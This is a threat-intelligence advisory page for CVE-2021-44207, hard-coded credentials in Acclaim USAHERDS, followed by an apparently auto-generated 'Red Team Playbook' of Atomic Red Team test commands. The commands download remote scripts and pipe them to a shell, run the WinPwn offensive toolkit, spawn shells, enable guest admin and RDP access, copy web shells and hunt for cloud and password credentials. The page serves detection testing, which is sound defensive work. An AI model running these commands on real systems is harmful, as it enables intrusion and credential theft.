CVE-2021-44207
Overview
The vulnerability is a hard-coded credential issue within Acclaim USAHERDS versions up to 7.4.0.1. The root cause is the inclusion of static, embedded authentication credentials in the software code, which are accessible without dynamic verification or user-specific authentication. This flaw affects the authentication mechanism of the USAHERDS application, compromising the integrity of access controls.
Vulnerability Description
Acclaim USAHERDS through 7.4.0.1 uses hard-coded credentials.
Impact
An attacker can exploit the hard-coded credentials without any prior authentication or user interaction, gaining unauthorized administrative or privileged access to the USAHERDS system. This unauthorized access allows full control over the application, including viewing, modifying, or deleting sensitive data, and potentially disrupting system operations. The breach can lead to significant data exposure and compromise of business-critical livestock management information.
Solution
Acclaim Systems has released updates addressing this vulnerability in versions beyond 7.4.0.1. Users should upgrade to the latest USAHERDS version as detailed in the vendor advisory at https://www.acclaimsystems.com. No official workaround is provided; therefore, immediate patching is recommended to eliminate the use of hard-coded credentials and secure authentication mechanisms.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Acclaim USAHERDS arises from the use of hard-coded credentials within the software. This design flaw allows unauthorized users to gain access to sensitive functionalities and data without needing to authenticate properly. Hard-coded credentials are typically embedded directly in the source code, making them easily discoverable through reverse engineering or code analysis. Once an attacker identifies these credentials, they can exploit them to gain administrative access to the system, potentially leading to unauthorized data manipulation, exfiltration, or service disruption. The presence of such credentials is particularly concerning in applications that manage critical data, as it undermines the fundamental principles of secure software development.
Attack vectors for exploiting this vulnerability are varied and can be executed by individuals with minimal technical expertise. An attacker could leverage automated tools to scan for instances of the affected product, subsequently extracting the hard-coded credentials. Once in possession of these credentials, the attacker can access the system remotely, enabling them to perform a range of malicious activities, such as altering records, injecting malware, or even shutting down essential services. Additionally, if the compromised system is interconnected with other networks or applications, the attacker could potentially pivot to other systems, increasing the scope of the attack. This scenario highlights the importance of securing not only the vulnerable application but also the broader network environment in which it operates.
The real-world implications of this vulnerability are significant, particularly for organizations that rely on Acclaim USAHERDS for managing animal health data and related operations. The exposure of sensitive information, such as vaccination records or disease tracking data, could lead to severe consequences, including regulatory fines, loss of public trust, and reputational damage. Furthermore, the potential for data breaches could result in legal ramifications, especially if personal data is involved. Businesses may face operational disruptions that could hinder their ability to deliver services effectively, leading to financial losses. The combination of these factors underscores the critical need for organizations to prioritize the security of their software applications.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. Regular security assessments, including code reviews and penetration testing, can help identify hard-coded credentials and other vulnerabilities before they can be exploited. Implementing secure coding practices, such as avoiding hard-coded credentials and utilizing environment variables or secure vaults for credential management, is essential for reducing the attack surface. Additionally, organizations should enforce strict access controls and regularly update their software to ensure that any known vulnerabilities are patched promptly. Employing intrusion detection systems can also aid in identifying unauthorized access attempts, allowing for swift incident response.
In conclusion, the vulnerability associated with hard-coded credentials in Acclaim USAHERDS presents a serious threat to organizations utilizing this software. The ease of exploitation, coupled with the potential for significant real-world impact, necessitates immediate attention from cybersecurity professionals. By implementing robust detection and mitigation strategies, organizations can protect themselves from the risks posed by this vulnerability and enhance their overall security posture. As the cybersecurity landscape continues to evolve, proactive measures and a commitment to secure software development practices will be crucial in safeguarding sensitive data and maintaining operational integrity.
CSURFACE threat intelligence has identified a substantial increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-44207, reflecting a near doubling in the likelihood of exploitation. This upward adjustment signals a growing interest or feasibility in leveraging the hard-coded credentials vulnerability within Acclaim USAHERDS. Although no new exploit techniques or ransomware affiliations have been detected by our telemetry, the rising EPSS score and its placement in the 0.97th percentile underscore an elevated risk posture. Defenders should interpret this as an indicator that adversaries may be prioritizing this vulnerability, potentially due to its high-impact nature and ease of exploitation. Consequently, the threat level has escalated from moderate to high, warranting increased vigilance and monitoring despite the absence of confirmed active exploitation campaigns.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Acclaimsystems | Usaherds | All |
cpe:2.3:a:acclaimsystems:usaherds:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-191 | Read Sensitive Constants Within an Executable |
33%
|
— | Low | |
| CAPEC-70 | Try Common or Default Usernames and Passwords |
30%
|
Medium | High |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
net user #{guest_user} /active:yes
sudo sysadminctl -guestAccount on
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-44207 |
| acclaimsystems.com |
GitHub CVE
x_refsource_MISC
|
https://www.acclaimsystems.com |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/mandiant/Vulnerability-Disclosures/blob/master/MNDT-2021-0012/MNDT-2021-0012.md |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-44207 |